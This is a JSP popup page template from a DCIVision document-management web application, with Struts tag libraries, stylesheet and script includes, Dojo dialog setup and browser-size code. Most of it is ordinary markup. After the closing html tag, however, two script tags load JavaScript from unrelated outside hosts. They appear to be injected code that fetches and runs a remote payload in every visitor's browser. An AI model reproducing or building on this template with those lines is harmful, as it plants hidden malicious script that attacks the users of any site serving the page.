<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<%
/*
 * @(#)PopupTemplate.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 */


/**

  PopupTemplate.jsp

  This is a generic preference navigation temaplte of DCIVision Ltd

    @author             Tc tang
    @company            DCIVision Ltd
    @creation date      05/10/2007
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/struts-tiles" prefix="tiles" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->

<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/common.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/menu.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/dtree.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/ListTable.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/PageNavBarStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/Popup.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/Form.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/common/ContextMenu.css" charset="UTF-8" type="text/css" rel="stylesheet">

<!-- Common Stylesheet End -->

<script type="text/javascript"> djConfig = {isDebug: true}; </script>
<script type="text/javascript" src="<%=request.getContextPath()%>/js/dojo/dojo.js"></script>

<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>


<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/dtree.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Dynamic Javascript End -->

<!-- Dojo Frame-->
<script language="Javascript" src="<%= request.getContextPath() %>/js/DojoFrame.js" charset="UTF-8" type="text/javascript"></script>
<!-- Dojo Frame end-->
<!-- Preference-->
<%@ include file="../../js/channelPreference.jsp" %>

<bean:actionmode/>

<script language="Javascript">
<!--
var globalIsLotusDomino = <%=!Utility.isEmpty(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DOMINO_HOST))%>;

g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";

var message = "";

function checkRightClick() {
return(true);
}

document.onkeydown = function() {
  if (window.event && window.event.keyCode == 122) {
    window.event.keyCode = 505;
  }
  if (window.event && window.event.keyCode == 505) {
    return checkRightClick();
  }
}

function clickIE() {
  if (document.all) {
    (message);
    return checkRightClick();
  }
}

function clickNS(e) {
  if (document.layers||(document.getElementById&&!document.all)) {
    if (e.which==2||e.which==3) {
      (message);
      return checkRightClick();
    }
  }
}

if (document.layers) {
  document.captureEvents(Event.MOUSEDOWN);
  document.onmousedown=clickNS;
} else {
  document.onmouseup=clickNS;
  document.oncontextmenu=clickIE;
}


function closeWindow(){
  if (window.name == "DCIVisionAppWindow"){
    window.location.href = "<%= request.getContextPath() %>/jsp/layout/Logout.jsp";
  }
}

-->
</script>
</head>


<!--Dojo DIV-->
<div dojoType="dialog" id="DialogContent" executeScripts="true" bgColor="gray" bgOpacity="0.5" toggle="fade" toggleDuration="250"></div>
<div dojoType="dialog" id="RemoteDialogContent" executeScripts="true" cacheContent="false" bgColor="gray" bgOpacity="0.5" toggle="fade" toggleDuration="250"></div>
<div dojoType="dialog" id="DimDiv" bgColor="gray" bgOpacity="0.5" toggle="fade" toggleDuration="250"></div>
<!--Dojo Div end-->


<script type="text/javascript">
    dojo.require("dojo.widget.Dialog");
    dojo.require("dojo.io.*");
</script>

<style type="text/css">
.dojoDialog {
    background : #eee;
    border : 1px solid #999;
    -moz-border-radius : 5px;
    padding : 4px;
}

form {
    margin-bottom : 0;
}
</style>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000">

<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<div id="divMaskLoading" style="position:absolute; z-index:8000; width:99%; height:100%; background-color:transparent; visibility:hidden;">
<iframe style="position:absolute; visibility:inherit; top:0px; left:0px; width:100%; height:100%; filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)';"></iframe>
</div>
<%
if(Utility.isEmpty(request.getParameter("isShowIframeLoading"))){
%>
<iframe id="iframeLoading" src="<%=request.getContextPath()%>/jsp/common/Loading.html" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" align="middle" style="position:absolute;top:0px;left:0px; z-index:10000"></iframe>
<%}%>
<script language='javascript'>
<!--

  var tmpGlobalW = 1024;
  var tmpGlobalH = 768;
  var currMenuFuncCode = "";
  var isOpenMenuFlag = false;
  var isFireFox = navigator.userAgent.indexOf("Firefox")>0;
  if (document.all || document.layers || isFireFox) {
    if (navigator.appName == "Netscape" || isFireFox) {
      tmpGlobalW = window.innerWidth;
      tmpGlobalH = window.innerHeight;
    } else if (navigator.appName == "Microsoft Internet Explorer") {
      tmpGlobalW = document.documentElement.clientWidth;
      tmpGlobalH = document.documentElement.clientHeight;
    }
  }

  if (FindObj('iframeLoading')) { // Just do this block code when iframeLoading is exists.
    var varLeft=(tmpGlobalW-200)/2;
    var varTop= (tmpGlobalH-100)/2;
    FindObj('iframeLoading').style.left = varLeft+"px";
    FindObj('iframeLoading').style.top = varTop+"px";
  }

-->
</script>

<table width="100%" cellpadding="0" cellspacing="0">
<!-- Listing Content Section Start -->
<tr>
<td>
<div id="popUpTemplate" class="popUpContainer">

<div id="Poptitle" class="pannelHead" style="display:none;">
</div>

<div id="messagePanel">
<html:errors/><html:messages/>
</div>
<tiles:insert attribute="body"/>
</div>
</td>
</tr>
</table>
<script type="text/javascript">
var dimDlg;
var frameDlg;
var frameRemoteDlg;
function init(e) {
	InitializeAction();
    PreloadImages("<html:img src='LayoutNavMenuBackOn.gif' pathOnly='true'/>","<html:img src='LayoutNavMenuForwardOn.gif' pathOnly='true'/>","<html:img src='LayoutNavMenuExitOn.gif' pathOnly='true'/>","<html:img src='LayoutNavMenuHelpOn.gif' pathOnly='true'/>");
  	dimDlg = dojo.widget.byId("DimDiv");
    frameDlg = dojo.widget.byId("DialogContent");
    frameRemoteDlg = dojo.widget.byId("RemoteDialogContent");
    window.focus();
}
dojo.addOnLoad(init);

</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>